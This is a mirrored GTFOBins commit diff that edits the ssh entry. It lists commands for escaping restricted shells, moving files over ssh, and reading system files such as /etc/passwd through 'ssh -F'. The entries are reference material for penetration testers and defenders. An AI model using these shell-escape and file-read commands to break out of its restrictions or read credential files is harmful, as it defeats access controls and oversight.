mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
Update ssh.md
Amended as requested
This commit is contained in:
parent
c41d58de2a
commit
d5e6962e6c
@ -2,7 +2,7 @@
|
|||||||
functions:
|
functions:
|
||||||
execute-interactive:
|
execute-interactive:
|
||||||
- description: Reconnecting may help bypassing restricted shells.
|
- description: Reconnecting may help bypassing restricted shells.
|
||||||
code: ssh localhost /bin/bash --noprofile --norc
|
code: ssh localhost $SHELL --noprofile --norc
|
||||||
download:
|
download:
|
||||||
- description: Fetch a remote file from a SSH server.
|
- description: Fetch a remote file from a SSH server.
|
||||||
code: |
|
code: |
|
||||||
@ -17,10 +17,9 @@ functions:
|
|||||||
RPATH=where_to_save
|
RPATH=where_to_save
|
||||||
LPATH=file_to_send
|
LPATH=file_to_send
|
||||||
ssh $HOST "cat > $RPATH" < $LPATH
|
ssh $HOST "cat > $RPATH" < $LPATH
|
||||||
read file:
|
file-read:
|
||||||
- description: Read strings from text files. Reliability depends on content of files but works well with /etc/passwd
|
- description: Read strings from text files. Reliability depends on content of files but works well with /etc/passwd
|
||||||
code: ssh -F /etc/passwd localhost
|
- code: |
|
||||||
file exists:
|
LFILE=file_to_read
|
||||||
- description: Tests whether a file exists.
|
ssh -F $LFILE localhost
|
||||||
code: ssh -i /filename localhost
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user